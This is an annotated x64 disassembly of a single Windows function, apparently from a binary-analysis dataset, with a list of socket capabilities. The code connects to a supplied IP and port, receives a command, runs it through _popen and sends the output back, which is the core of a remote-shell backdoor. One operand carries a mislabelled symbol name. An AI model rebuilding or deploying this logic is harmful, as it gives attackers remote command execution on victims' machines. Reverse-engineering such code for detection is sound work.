Function at 0x1400018a0
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Initialize winsock library
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
push rbp
push rbx
sub rsp, 0x4c8
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x460], rcx
mov dword [rbp + 0x468], edx
lea rax, [rbp + 0x270]
mov rdx, rax
mov ecx, 0x202
mov rax, qword [sym.imp.WS2_32.dll_WSAStartup]
call rax
mov r8d, 6
mov edx, 1
mov ecx, 2
mov rax, qword [sym.imp.WS2_32.dll_socket]
call rax
mov qword [rbp + 0x438], rax
cmp qword [rbp + 0x438], 0xffffffffffffffff
je 0x140001bc4
mov word [rbp + 0x260], 2
mov rax, qword [rbp + 0x460]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::c_str___const
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_inet_addr]
call rax
mov dword [rbp + 0x264], eax
mov eax, dword [rbp + 0x468]
movzx eax, ax
mov ecx, eax
mov rax, qword [sym.imp.WS2_32.dll_htons]
call rax
mov word [rbp + 0x262], ax
lea rdx, [rbp + 0x260]
mov rax, qword [rbp + 0x438]
mov r8d, 0x10
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_connect]
call rax
cmp eax, 0xffffffff
sete al
test al, al
je 0x140001994
mov rax, qword [rbp + 0x438]
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_closesocket]
call rax
mov rax, qword [sym.imp.WS2_32.dll_WSACleanup]
call rax
jmp 0x140001bc5
lea rax, [rbp + 0x60]
mov r8d, 0x200
mov edx, 0
mov rcx, rax
call sym.memset
lea rdx, [rbp + 0x60]
mov rax, qword [rbp + 0x438]
mov r9d, 0
mov r8d, 0x200
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_recv]
call rax
mov dword [rbp + 0x434], eax
cmp dword [rbp + 0x434], 0
jg 0x1400019fe
mov rax, qword [rbp + 0x438]
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_closesocket]
call rax
mov rax, qword [sym.imp.WS2_32.dll_WSACleanup]
call rax
jmp 0x140001bc5
lea rax, [rbp + 0x416]
mov qword [rbp + 0x420], rax
nop
nop
mov eax, dword [rbp + 0x434]
movsxd rcx, eax
lea r8, [rbp + 0x416]
lea rdx, [rbp + 0x60]
lea rax, [rbp - 0x60]
mov r9, r8
mov r8, rcx
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_char_const__unsigned_long_long__std::allocator_char__const_
lea rax, [rbp + 0x416]
mov rcx, rax
call method.std::__new_allocator_char_.__new_allocator__
nop
lea rax, [rbp - 0x60]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::c_str___const
mov rcx, rax
lea rax, [0x1400080c0]
mov rdx, rax
mov rax, qword [sym.imp.msvcrt.dll__popen]
call rax
mov qword [rbp + 0x428], rax
cmp qword [rbp + 0x428], 0
jne 0x140001a81
mov ebx, 0
jmp 0x140001b52
lea rax, [rbp + 0x417]
mov qword [rbp + 0x418], rax
nop
nop
lea rdx, [rbp + 0x417]
lea rax, [rbp - 0x40]
mov r8, rdx
lea rdx, [0x1400080c2]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x417]
mov rcx, rax
call method.std::__new_allocator_char_.__new_allocator__
nop
jmp 0x140001ad0
lea rdx, [rbp - 0x20]
lea rax, [rbp - 0x40]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::operator_char_const_
mov rdx, qword [rbp + 0x428]
lea rax, [rbp - 0x20]
mov r8, rdx
mov edx, pe_nt_image_headers64
mov rcx, rax
call sym.fgets
test rax, rax
setne al
test al, al
jne 0x140001ac0
mov rax, qword [rbp + 0x428]
mov rcx, rax
mov rax, qword [sym.imp.msvcrt.dll__pclose]
call rax
lea rax, [rbp - 0x40]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::size___const
mov ebx, eax
lea rax, [rbp - 0x40]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::c_str___const
mov rdx, rax
mov rax, qword [rbp + 0x438]
mov r9d, 0
mov r8d, ebx
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_send]
call rax
lea rax, [rbp - 0x40]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
mov ebx, 1
lea rax, [rbp - 0x60]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
cmp ebx, 1
jmp 0x140001994
nop
add rsp, 0x4c8
pop rbx
pop rbp
ret